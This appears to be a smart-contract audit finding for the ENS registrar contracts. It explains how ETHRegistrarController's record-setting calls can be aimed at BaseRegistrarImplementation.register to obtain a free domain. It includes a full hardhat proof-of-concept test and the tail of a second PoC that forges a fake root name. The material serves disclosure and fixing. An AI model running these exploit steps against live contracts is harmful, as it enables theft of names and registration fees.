          (await NameWrapper.getFuses(wrappedSub1TokenId))[0]
      ).to.equal(PARENT_CANNOT_CONTROL | CANNOT_UNWRAP)

      // the hacker unwraps his wrappedSubTokenId
      await evm.advanceTime(7200)
      await NameWrapperH.unwrap(wrappedTokenId, sub1LabelHash, hacker)
      expect(await EnsRegistry.owner(wrappedSub1TokenId)).to.equal(hacker)

      // the hacker setSubnodeOwner, to set the owner of wrappedSub2TokenId as NameWrapper
      const sub2Label = 'sub2'
      const sub2LabelHash = labelhash(sub2Label)
      const sub2Domain = sub2Label + '.' + sub1Domain // sub2.sub1.base.eth
      const wrappedSub2TokenId = namehash(sub2Domain)
      await EnsRegistryH.setSubnodeOwner(
          wrappedSub1TokenId,
          sub2LabelHash,
          NameWrapper.address
      )
      expect(await EnsRegistry.owner(wrappedSub2TokenId)).to.equal(
          NameWrapper.address
      )

      // the hacker re-wraps the sub1node
      await EnsRegistryH.setApprovalForAll(NameWrapper.address, true)
      await NameWrapperH.wrap(encodeName(sub1Domain), hacker, EMPTY_ADDRESS)
      expect(await NameWrapper.ownerOf(wrappedSub1TokenId)).to.equal(hacker)

      // the hackers setSubnodeOwner
      // XXX: till now, the hacker gets sub2Domain with no name in Namewrapper
      await NameWrapperH.setSubnodeOwner(
        wrappedSub1TokenId,
        sub2Label,
        hacker,
        PARENT_CANNOT_CONTROL | CANNOT_UNWRAP,
        MAX_EXPIRY
      )
      expect(await NameWrapper.ownerOf(wrappedSub2TokenId)).to.equal(hacker)
      expect(await NameWrapper.names(wrappedSub2TokenId)).to.equal('0x')

      // the hacker forge a fake root node
      const sub3Label = 'eth'
      const sub3LabelHash = labelhash(sub3Label)
      const sub3Domain = sub3Label + '.' + sub2Domain // eth.sub2.sub1.base.eth
      const wrappedSub3TokenId = namehash(sub3Domain)
      await NameWrapperH.setSubnodeOwner(
        wrappedSub2TokenId,
        sub3Label,
        hacker,
        PARENT_CANNOT_CONTROL | CANNOT_UNWRAP,
        MAX_EXPIRY
      )
      expect(await NameWrapper.ownerOf(wrappedSub3TokenId)).to.equal(hacker)

      // ///////////////////////////
      // // Attack successed!
      // ///////////////////////////

      // XXX: names[wrappedSub3TokenId] becomes `\x03eth`
      expect(await NameWrapper.names(wrappedSub3TokenId)).to.equal('0x03657468') // \03eth
    })
  })
})

Lines of code

https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/ethregistrar/ETHRegistrarController.sol#L249

Vulnerability details

Description

The ETHRegistrarController added new functionality to support set multiple records while registering a ETH 2LD. It uses the following code to support this functionality.

function _setRecords(
    address resolver,
    bytes32 label,
    bytes[] calldata data
) internal {
    // use hardcoded .eth namehash
    bytes32 nodehash = keccak256(abi.encodePacked(ETH_NODE, label));
    for (uint256 i = 0; i < data.length; i++) {
        // check first few bytes are namehash
        bytes32 txNamehash = bytes32(data[i][4:36]);
        require(
            txNamehash == nodehash,
            "ETHRegistrarController: Namehash on record do not match the name being registered"
        );
        resolver.functionCall(
            data[i],
            "ETHRegistrarController: Failed to set Record"
        );
    }
}

To set a record, ETHRegistrarController can external functions upon the resolver. Note that both resolver and call data data are provided by users. To prevent misusing, the ETHRegistrarController checks whether the first parameter of the external functions is the nodehash.

However, the only check is not sufficient. Recall that BaseRegistrarImplementation can be used to registered ETH 2LD, if it is called by the controller. A malicious user can provide the following parameters:

• resolver: the address of BaseRegistrarImplementation
• target function: BaseRegistrarImplementation.register
• id (the first parameter): nodehash
• owner (the second parameter): the address of the hacker
• duration (the third parameter): as long as possible

Then the check will be bypassed, and the hacker can get a free domain registered with a large enough duration.

Note that the hacker knows the exact domain name. For example, if the original domain (the hacker paid for) is poc.eth, then the free one will be bytes(abi.encodePacked(ETH_NODE, keccak256(label))).eth.

In other words, the label of the free one is abi.encodePacked(ETH_NODE, keccak256(X)) where X is the original label.

It is not rated as a High issue, since the free one is likely unprintable and maybe useless. But it sill befinits the hacker.

Besides, external calls may induce other unknown issues, if there are some contracts heavily relaying on msg.sender (note that for the msg.sender will become the control for those external calls).

Notes

Discussed with the project member, Jeff Lau.

If there is any issue running the attached PoC code, please contact me via izhuer#0001 discord.

Suggested Fix

Checking the supportInterfaces of the resolvers would fix this issue.

PoC / Attack Scenario

There is a PoC file named poc4.js

To run the PoC, put then in 2022-07-ens/test/ethregistrar and run npx hardhat test --grep 'PoC'.

poc4.js

const {
  evm,
  reverse: { getReverseNode },
  contracts: { deploy },
} = require('../test-utils')

const { expect } = require('chai')

const { ethers } = require('hardhat')
const provider = ethers.provider
const namehash = require('eth-ens-namehash')
const sha3 = require('web3-utils').sha3

const DAYS = 24 * 60 * 60
const REGISTRATION_TIME = 28 * DAYS
const BUFFERED_REGISTRATION_COST = REGISTRATION_TIME + 3 * DAYS
const NULL_ADDRESS = '0x0000000000000000000000000000000000000000'
const EMPTY_BYTES =
  '0x0000000000000000000000000000000000000000000000000000000000000000'

contract('PoC 4', function() {
  let ens
  let resolver
  let baseRegistrar
  let controller
  let controllerH
  let priceOracle
  let reverseRegistrar
  let nameWrapper

  const secret =
    '0x0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF'
  let ownerAccount // Account that owns the registrar
  let hackerAccount // the hacker
  let accounts = []

  // XXX: environment setup copied from the original test files
  before(async () => {
    signers = await ethers.getSigners()
    ownerAccount = await signers[0].getAddress()
    hackerAccount = await signers[1].getAddress()
    accounts = [ownerAccount, hackerAccount]

    ens = await deploy('ENSRegistry')

    baseRegistrar = await deploy(
      'BaseRegistrarImplementation',
      ens.address,
      namehash.hash('eth')
    )

    nameWrapper = await deploy(
      'NameWrapper',
      ens.address,
      baseRegistrar.address,
      ownerAccount
    )

    reverseRegistrar = await deploy('ReverseRegistrar', ens.address)

    await ens.setSubnodeOwner(EMPTY_BYTES, sha3('eth'), baseRegistrar.address)

    const dummyOracle = await deploy('DummyOracle', '100000000')
    priceOracle = await deploy('StablePriceOracle', dummyOracle.address, [
      0,
      0,
      4,
      2,
      1,
    ])
    controller = await deploy(
      'ETHRegistrarController',
      baseRegistrar.address,
      priceOracle.address,
      600,
      86400,
      reverseRegistrar.address,
      nameWrapper.address
    )
    controllerH = controller.connect(signers[1]);

    await baseRegistrar.addController(controller.address)
    await nameWrapper.setController(controller.address, true)
    await baseRegistrar.addController(nameWrapper.address)
    await reverseRegistrar.setController(controller.address, true)

    resolver = await deploy(
      'PublicResolver',
      ens.address,
      nameWrapper.address,
      controller.address,
      reverseRegistrar.address
    )

    await ens.setSubnodeOwner(EMPTY_BYTES, sha3('reverse'), accounts[0], {
      from: accounts[0],
    })
    await ens.setSubnodeOwner(
      namehash.hash('reverse'),
      sha3('addr'),
      reverseRegistrar.address,
      { from: accounts[0] }
    )
  })

  beforeEach(async () => {
    result = await ethers.provider.send('evm_snapshot')
  })
  afterEach(async () => {
    await ethers.provider.send('evm_revert', [result])
  })

  /*
   * Attack:
   *      + Set the `BaseRegistrarImplementation` contract as the resolver
   *      + Set the target function as `register`
   */
  it('additional domain can be registered', async () => {
    // the label of the forged domin
    //      + calculated by: abi.encodePacked(ETH_NODE, keccak256("newconfigname"))
    const forgedLabelHex = '93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae1c891d20089af294754ce04152cabf310ddfe4f8f27b93f2a94bad0b02910202'
    const forgedLabel = Buffer.from(forgedLabelHex, 'hex');
    const forgedLabelId = sha3(forgedLabel)
    // the forged label belongs to no one
    await expect(baseRegistrar.ownerOf(forgedLabelId)).to.be.reverted

    var decoder = new TextDecoder('utf-8')

    var commitment = await controllerH.makeCommitment(
      'newconfigname',
      hackerAccount,
      REGISTRATION_TIME,
      secret,
      baseRegistrar.address,
      [
        baseRegistrar.interface.encodeFunctionData('register(uint256,address,uint)', [
          namehash.hash('newconfigname.eth'),
          hackerAccount,
          REGISTRATION_TIME * 10,
        ]),
      ],
      false,
      0,
      0
    )
    var tx = await controllerH.commit(commitment)
    expect(await controllerH.commitments(commitment)).to.equal(
      (await web3.eth.getBlock(tx.blockNumber)).timestamp
    )

    await evm.advanceTime((await controllerH.minCommitmentAge()).toNumber())
    var balanceBefore = await web3.eth.getBalance(controllerH.address)
    var tx = await controllerH.register(
      'newconfigname',
      hackerAccount,
      REGISTRATION_TIME,
      secret,
      baseRegistrar.address,
      [
        baseRegistrar.interface.encodeFunctionData('register(uint256,address,uint)', [
          namehash.hash('newconfigname.eth'),
          hackerAccount,
          REGISTRATION_TIME * 10,
        ]),
      ],
      false,
      0,
      0,
      { value: BUFFERED_REGISTRATION_COST }
    )

    const block = await provider.getBlock(tx.blockNumber)

    await expect(tx)
      .to.emit(controllerH, 'NameRegistered')
      .withArgs(
        'newconfigname',
        sha3('newconfigname'),
        hackerAccount,
        REGISTRATION_TIME,
        0,
        block.timestamp + REGISTRATION_TIME
      )

    // the original domain should belong to the hacker
    var nodehash = namehash.hash('newconfigname.eth')
    expect(await ens.owner(nodehash)).to.equal(nameWrapper.address)
    expect(await baseRegistrar.ownerOf(sha3('newconfigname'))).to.equal(
      nameWrapper.address
    )
    expect(await nameWrapper.ownerOf(nodehash)).to.equal(hackerAccount)

    // XXX: attack successed:
    //      the forged label belongs to the hacker
    expect(await baseRegistrar.ownerOf(forgedLabelId)).to.equal(hackerAccount)
  })
})